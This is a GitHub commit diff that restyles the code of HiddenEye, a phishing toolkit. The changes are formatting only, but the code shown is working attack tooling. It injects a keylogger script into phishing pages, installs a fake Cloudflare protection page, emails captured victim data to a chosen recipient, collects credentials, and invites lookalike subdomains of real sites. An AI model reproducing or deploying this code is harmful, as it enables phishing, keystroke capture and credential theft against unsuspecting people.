Merge pull request #747 from DarkSecDevelopers/restyled/dev

Restyle Merge Dev to Master
This commit is contained in:
sTiKyt 2020-08-13 13:36:28 +03:00 committed by GitHub
commit f4f28c6583
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
19 changed files with 198 additions and 141 deletions

View File

@ -335,8 +335,9 @@ def start_localxpose(port):
def custom(port): def custom(port):
print(global_localization.small_logo) print(global_localization.small_logo)
print("""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)""" print(
.format(default_palette[0], default_palette[2])) """\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
.format(default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format( lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
default_palette[0], default_palette[2])) default_palette[0], default_palette[2]))
run_command( run_command(

View File

@ -91,7 +91,9 @@ def terms_of_service_message():
agreement = license_handler() agreement = license_handler()
if not agreement: if not agreement:
print(localization.lang_terms_of_service_message["GPL_3.0"]) print(localization.lang_terms_of_service_message["GPL_3.0"])
print(localization.lang_terms_of_service_message["great_power_great_responsibility"]) print(
localization.
lang_terms_of_service_message["great_power_great_responsibility"])
print(localization. print(localization.
lang_terms_of_service_message["do_you_accept_license"]) lang_terms_of_service_message["do_you_accept_license"])
print(localization. print(localization.
@ -207,7 +209,7 @@ def log_writer(ctx): # Writing log
log_file.write( log_file.write(
ctx.replace(default_palette[0], "").replace( ctx.replace(default_palette[0], "").replace(
default_palette[1], "").replace(default_palette[2], "").replace( default_palette[1], "").replace(default_palette[2], "").replace(
default_palette[3], "").replace(default_palette[4], "") + "\n") default_palette[3], "").replace(default_palette[4], "") + "\n")
print(ctx) print(ctx)
@ -275,14 +277,16 @@ def verify_connection(
elif internet_choice == "n": elif internet_choice == "n":
run_command("clear") run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(" " + global_localization.by_darksec) print(" " +
global_localization.by_darksec)
print(" " + print(" " +
global_localization.official_website_link) global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"]) print(localization.lang_exit_message["tell_if_page_got_broken"])
print(localization.
lang_exit_message["make_your_pull_request_or_issue"])
print( print(
localization.lang_exit_message["make_your_pull_request_or_issue"]) localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["financial_support"])
print(localization.lang_exit_message["thank_you"]) print(localization.lang_exit_message["thank_you"])

View File

@ -4,81 +4,96 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
from Defs.ImportManager.unsorted_will_be_replaced import base64
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import getpass
from Defs.ImportManager.unsorted_will_be_replaced import path
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import system
from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette default_palette = theme.default_palette
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address. # Ask user to start sending credentials to recipient Email Address.
def captured_data_email_confirmation(port):
import Defs.ActionManager.simple_informant as simple_informant import Defs.ActionManager.simple_informant as simple_informant
choice = input( choice = input(
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format( "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}"
default_palette[0], default_palette[4], default_palette[2])).upper() .format(default_palette[0], default_palette[4],
if choice == 'Y' or choice == 'y': default_palette[2])).upper()
if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py'): if choice == "Y" or choice == "y":
system('python3 Defs/FeatureManager/EmailManager/SendEmail.py') if path.isfile("Defs/FeatureManager/EmailManager/emailconfig.py"):
system("python3 Defs/FeatureManager/EmailManager/SendEmail.py")
else: else:
print( print(
'[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.') "[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION."
)
wait(2) wait(2)
simple_informant.exit_message(port) simple_informant.exit_message(port)
elif choice == 'N' or choice == 'n': elif choice == "N" or choice == "n":
simple_informant.exit_message(port) simple_informant.exit_message(port)
else: else:
system('clear') system("clear")
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4], print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(
default_palette[2])) default_palette[0], default_palette[4], default_palette[2]))
wait(1) wait(1)
system('clear') system("clear")
return captured_data_email_confirmation(port) return captured_data_email_confirmation(port)
def captured_data_email_configuration_prompt(): def captured_data_email_configuration_prompt():
run_command('clear') run_command("clear")
print('''{1} print("""{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers {1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) {0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
default_palette[2]))
print( print(
"-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format( "-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------"
default_palette[0], default_palette[4])) .format(default_palette[0], default_palette[4]))
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py') # run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', copyfile(
'Defs/FeatureManager/EmailManager/emailconfig.py') "Defs/FeatureManager/EmailManager/EmailConfigDefault.py",
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4])) "Defs/FeatureManager/EmailManager/emailconfig.py",
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f: )
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(
default_palette[0], default_palette[4]))
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT) c = read_data.replace("GMAILACCOUNT", GMAILACCOUNT)
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w') f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c) f.write(c)
f.close() f.close()
print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4])) print("{0}[.] {1}Email Address Added To config File. !\n".format(
default_palette[0], default_palette[4]))
GMAILPASSWORD = getpass.getpass( GMAILPASSWORD = getpass.getpass(
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4])) "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f: default_palette[0], default_palette[4]))
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read() read_data = f.read()
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode()) GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8')) GMAILPASSWORD = GMAILPASSWORD.decode("utf-8")
c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD) c = read_data.replace("GMAILPASSWORD", GMAILPASSWORD)
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w') f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c) f.write(c)
f.close() f.close()
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4])) print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(
RECIPIENTEMAIL = input( default_palette[0], default_palette[4]))
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4])) RECIPIENTEMAIL = input("{0}[{1}+{0}] Enter Recipient Email:{1} ".format(
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f: default_palette[0], default_palette[4]))
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL) c = read_data.replace("RECIPIENTEMAIL", RECIPIENTEMAIL)
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w') f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c) f.write(c)
f.close() f.close()
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], print("{0}[.] {1}Recipient Email Address Added To config File. !\n".
default_palette[4])) format(default_palette[0], default_palette[4]))
print( print(
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format( "\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)"
default_palette[0], default_palette[4])) .format(default_palette[0], default_palette[4]))

View File

@ -0,0 +1 @@

View File

@ -4,10 +4,13 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, pathlib_Path, replace, copyfile, chmod
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
from Defs.ImportManager.unsorted_will_be_replaced import chmod
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
from Defs.ImportManager.unsorted_will_be_replaced import replace
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette default_palette = theme.default_palette
@ -15,15 +18,16 @@ default_palette = theme.default_palette
def add_cloudfare(): def add_cloudfare():
# run_command('mv Server/www/index.* Server/www/home.php & # run_command('mv Server/www/index.* Server/www/home.php &
# & cp WebPages/cloudfare.html Server/www/index.html') # & cp WebPages/cloudfare.html Server/www/index.html')
chmod('Server', 0o777) chmod("Server", 0o777)
chmod('Server/www', 0o777) chmod("Server/www", 0o777)
try: try:
replace('Server/www/index.php', 'Server/www/home.php') replace("Server/www/index.php", "Server/www/home.php")
except: except:
replace('Server/www/index.html', 'Server/www/home.php') replace("Server/www/index.html", "Server/www/home.php")
else: else:
print('Unable to find index file, skipping...') print("Unable to find index file, skipping...")
return return
copyfile('WebPages/cloudflare.html', 'Server/www/index.html') copyfile("WebPages/cloudflare.html", "Server/www/index.html")
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4])) print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(
default_palette[0], default_palette[4]))
wait(1) wait(1)

View File

@ -4,16 +4,15 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
from time import sleep
import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
import Defs.LocalizationManager.lang_global_usage as global_localization
from Defs.ImportManager.unsorted_will_be_replaced import run_command
import Defs.ThemeManager.theme as theme
import Defs.FeatureManager.cloudflare as cloudflare import Defs.FeatureManager.cloudflare as cloudflare
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.FeatureManager.keylogger as keylogger import Defs.FeatureManager.keylogger as keylogger
from time import sleep import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
import Defs.LocalizationManager.lang_global_usage as global_localization
import Defs.ThemeManager.theme as theme
from Defs.ImportManager.unsorted_will_be_replaced import run_command
default_palette = theme.default_palette default_palette = theme.default_palette
@ -43,4 +42,3 @@ def feature_prompt():
print(global_localization.invalid_option) print(global_localization.invalid_option)
sleep(3) sleep(3)
feature_prompt() feature_prompt()

View File

@ -4,33 +4,34 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, path
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
from Defs.ImportManager.unsorted_will_be_replaced import path
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette default_palette = theme.default_palette
def add_keylogger(): def add_keylogger():
if path.exists('Server/www/index.html'): if path.exists("Server/www/index.html"):
with open('Server/www/index.html') as f: with open("Server/www/index.html") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace( c = read_data.replace("</title>",
'</title>', '</title><script src="keylogger.js"></script>') '</title><script src="keylogger.js"></script>')
f = open('Server/www/index.html', 'w') f = open("Server/www/index.html", "w")
f.write(c) f.write(c)
f.close() f.close()
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4])) print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
default_palette[0], default_palette[4]))
wait(2) wait(2)
else: else:
with open('Server/www/index.php') as f: with open("Server/www/index.php") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace( c = read_data.replace("</title>",
'</title>', '</title><script src="keylogger.js"></script>') '</title><script src="keylogger.js"></script>')
f = open('Server/www/index.php', 'w') f = open("Server/www/index.php", "w")
f.write(c) f.write(c)
f.close() f.close()
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4])) print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
default_palette[0], default_palette[4]))
wait(2) wait(2)

View File

@ -5,11 +5,11 @@
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
import base64 import base64
import stat
import getpass import getpass
import platform import platform
import re as regular_expression import re as regular_expression
import socket import socket
import stat
from distutils.dir_util import copy_tree as webpage_set from distutils.dir_util import copy_tree as webpage_set
from io import BytesIO from io import BytesIO
from os import chdir from os import chdir

View File

@ -4,8 +4,6 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
default_palette = theme.default_palette default_palette = theme.default_palette
@ -14,4 +12,6 @@ default_palette = theme.default_palette
def print_sorted_as_menu(sorting_list): def print_sorted_as_menu(sorting_list):
col_width = max(len(word) for row in sorting_list for word in row) + 2 col_width = max(len(word) for row in sorting_list for word in row) + 2
for row in sorting_list: for row in sorting_list:
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2])) print("".join(word.ljust(col_width)
for word in row).format(default_palette[0],
default_palette[2]))

View File

@ -48,11 +48,11 @@ lang_verify_connection = {
_("\n{0}[{1}!{0}] Network error. You are disconnected from the internet."). _("\n{0}[{1}!{0}] Network error. You are disconnected from the internet.").
format(default_palette[2], default_palette[0]), format(default_palette[2], default_palette[0]),
"continue_warning": "continue_warning":
_("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection.").format( _("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection."
default_palette[2], default_palette[0]), ).format(default_palette[2], default_palette[0]),
"continue_confirmation": "continue_confirmation":
_("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format( _("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format(
default_palette[2], default_palette[0]) default_palette[2], default_palette[0]),
} }
lang_module_loading_message = { lang_module_loading_message = {

View File

@ -4,26 +4,29 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _ from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette default_palette = theme.default_palette
feature_prompt = { feature_prompt = {
"feature_alert": "feature_alert":
_( _("---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD "
"---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD " "LIKE TO USE. ]{1} {0}\n---------------------------------------------------------"
"LIKE TO USE. ]{1} {0}\n---------------------------------------------------------".format( .format(default_palette[0], default_palette[4])),
default_palette[0], default_palette[4])),
"keylogger": "keylogger":
_("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(default_palette[0], default_palette[2])), _("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(
default_palette[0], default_palette[2])),
"cloudfare": "cloudfare":
_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(default_palette[0], default_palette[2])), _("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(
default_palette[0], default_palette[2])),
"email": "email":
_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(default_palette[0], default_palette[2])), _("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(
default_palette[0], default_palette[2])),
"none": "none":
_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(default_palette[0], default_palette[2])), _("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(
default_palette[0], default_palette[2])),
"example": "example":
_('\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}'.format(default_palette[0], default_palette[2])) _("\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}"
.format(default_palette[0], default_palette[2])),
} }

View File

@ -4,9 +4,8 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
default_palette = theme.default_palette default_palette = theme.default_palette
hidden_eye_logo = """ hidden_eye_logo = """
@ -14,16 +13,20 @@ hidden_eye_logo = """
{1} {2} {0} {1} {2} {0}
{1} {2} {0} {1} {2} {0}
{1} {2} {0} {1} {2} {0}
{1} {2} {0}""".format(default_palette[4], default_palette[2], default_palette[0]) {1} {2} {0}""".format(
default_palette[4], default_palette[2], default_palette[0])
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2]) input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0],
official_website_link = '{0}https://dark-sec-official.com'.format(default_palette[0]) default_palette[2])
by_darksec = '{0}** BY:DARKSEC **'.format(default_palette[0]) official_website_link = "{0}https://dark-sec-official.com".format(
line_of_dots = '{0}...............................'.format(default_palette[0]) default_palette[0])
small_logo = '''{1} by_darksec = "{0}** BY:DARKSEC **".format(default_palette[0])
line_of_dots = "{0}...............................".format(default_palette[0])
small_logo = """{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers {1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]) {0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
default_palette[2])
invalid_option = "Please choose a valid option." invalid_option = "Please choose a valid option."

View File

@ -4,10 +4,8 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
import gettext import gettext
gettext.bindtextdomain('HiddenEye', 'locale') gettext.bindtextdomain("HiddenEye", "locale")
gettext.textdomain('HiddenEye') gettext.textdomain("HiddenEye")
_ = gettext.gettext _ = gettext.gettext

View File

@ -5,5 +5,10 @@
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
default_palette = [
default_palette = ['\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'] # TODO Will be replaced later, "\033[91m",
"\033[46m",
"\033[36m",
"\033[1;32m",
"\033[0m",
] # TODO Will be replaced later,

View File

@ -4,10 +4,10 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
import multiprocessing import multiprocessing
import ssl import ssl
from os import environ from os import environ
import Defs.ActionManager.main_runner as main_runner import Defs.ActionManager.main_runner as main_runner
import Defs.ActionManager.Server.server_runner as server_runner import Defs.ActionManager.Server.server_runner as server_runner
import Defs.ActionManager.simple_informant as simple_informant import Defs.ActionManager.simple_informant as simple_informant
@ -19,7 +19,6 @@ if EULAController().check_eula_existence() is False:
if EULAController().check_eula_confirmation() is False: if EULAController().check_eula_confirmation() is False:
EULAController().confirm_eula() EULAController().confirm_eula()
if not environ.get("PYTHONHTTPSVERIFY", "") and getattr( if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
ssl, "_create_unverified_context", None): ssl, "_create_unverified_context", None):
ssl._create_default_https_context = ssl._create_unverified_context ssl._create_default_https_context = ssl._create_unverified_context
@ -45,7 +44,7 @@ if __name__ == "__main__":
server_runner.server_selection(port) server_runner.server_selection(port)
multiprocessing.Process(target=server_runner.start_server, multiprocessing.Process(target=server_runner.start_server,
args=(port,)).start() args=(port, )).start()
simple_informant.credentials_collector() simple_informant.credentials_collector()
except KeyboardInterrupt: except KeyboardInterrupt:

View File

@ -0,0 +1 @@

View File

@ -1,14 +1,15 @@
import pathlib import pathlib
from os import chmod
import stat import stat
from os import chmod
from views.EULA_view import EULAView from views.EULA_view import EULAView
class EULAController: class EULAController:
def __init__(self, confirmation_text: str = 'eula = True'): def __init__(self, confirmation_text: str = "eula = True"):
self.eula = "eula.txt" self.eula = "eula.txt"
self.confirmation_text = confirmation_text self.confirmation_text = confirmation_text
self.license = open("LICENSE", 'r') self.license = open("LICENSE", "r")
def check_eula_existence(self): def check_eula_existence(self):
""" """
@ -23,13 +24,16 @@ class EULAController:
def generate_new_eula(self): def generate_new_eula(self):
pathlib.Path(str(self.eula)).touch(exist_ok=True) pathlib.Path(str(self.eula)).touch(exist_ok=True)
text_license = self.license.read() text_license = self.license.read()
with open(str(self.eula), 'w+') as temp_eula: with open(str(self.eula), "w+") as temp_eula:
chmod(self.eula, 0o777) chmod(self.eula, 0o777)
temp_eula.write("{0}\n{1}".format(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], text_license)) temp_eula.write("{0}\n{1}".format(
EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
text_license,
))
temp_eula.close() temp_eula.close()
def check_eula_confirmation(self): def check_eula_confirmation(self):
with open(self.eula, 'r') as file: with open(self.eula, "r") as file:
if self.confirmation_text in file.read(): if self.confirmation_text in file.read():
print(EULAView().EULA_messages["eula_is_confirmed"]) print(EULAView().EULA_messages["eula_is_confirmed"])
return True return True
@ -39,16 +43,29 @@ class EULAController:
def confirm_eula(self): def confirm_eula(self):
# FIXME replace those strings with View entries # FIXME replace those strings with View entries
print(f'{self.license.read()}\nGreat Power Comes With Great Responsibility') print(
print('\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER.') f"{self.license.read()}\nGreat Power Comes With Great Responsibility"
print('\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program.') )
print('\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this ') print(
print('\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them.') "\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER."
)
print(
"\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program."
)
print(
"\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this "
)
print(
"\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them."
)
print('\nDo you accept EULA? \nEnter: "I accept EULA" to continue') print('\nDo you accept EULA? \nEnter: "I accept EULA" to continue')
answer = input("HiddenEye EULA>> ").lower().replace(" ", "") answer = input("HiddenEye EULA>> ").lower().replace(" ", "")
if answer == "iaccepteula": if answer == "iaccepteula":
eula_temp_input = open(self.eula, "rt") eula_temp_input = open(self.eula, "rt")
eula_temp_data = eula_temp_input.read().replace(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], EULAView().EULA_messages["eula_start_of_file_confirmed"]) eula_temp_data = eula_temp_input.read().replace(
EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
EULAView().EULA_messages["eula_start_of_file_confirmed"],
)
eula_temp_input.close() eula_temp_input.close()
eula_temp_input = open(self.eula, "wt") eula_temp_input = open(self.eula, "wt")
eula_temp_input.write(eula_temp_data) eula_temp_input.write(eula_temp_data)

View File

@ -4,11 +4,18 @@ from gettext import gettext as _
class EULAView: class EULAView:
def __init__(self): def __init__(self):
self.EULA_messages = { self.EULA_messages = {
"eula_found": _("EULA is found"), "eula_found":
"eula_is_confirmed": _("You accepted EULA"), _("EULA is found"),
"eula_is_not_confirmed": _("You didn't accept EULA, please open eula.txt"), "eula_is_confirmed":
"eula_not_found": _("EULA isn't found\n Generated new EULA"), _("You accepted EULA"),
"eula_is_invalid": _("EULA is not valid"), "eula_is_not_confirmed":
"eula_start_of_file_unconfirmed": _("# Please read and accept EULA below\n eula = False"), _("You didn't accept EULA, please open eula.txt"),
"eula_start_of_file_confirmed": _("# Please read and accept EULA below\n eula = True") "eula_not_found":
_("EULA isn't found\n Generated new EULA"),
"eula_is_invalid":
_("EULA is not valid"),
"eula_start_of_file_unconfirmed":
_("# Please read and accept EULA below\n eula = False"),
"eula_start_of_file_confirmed":
_("# Please read and accept EULA below\n eula = True"),
} }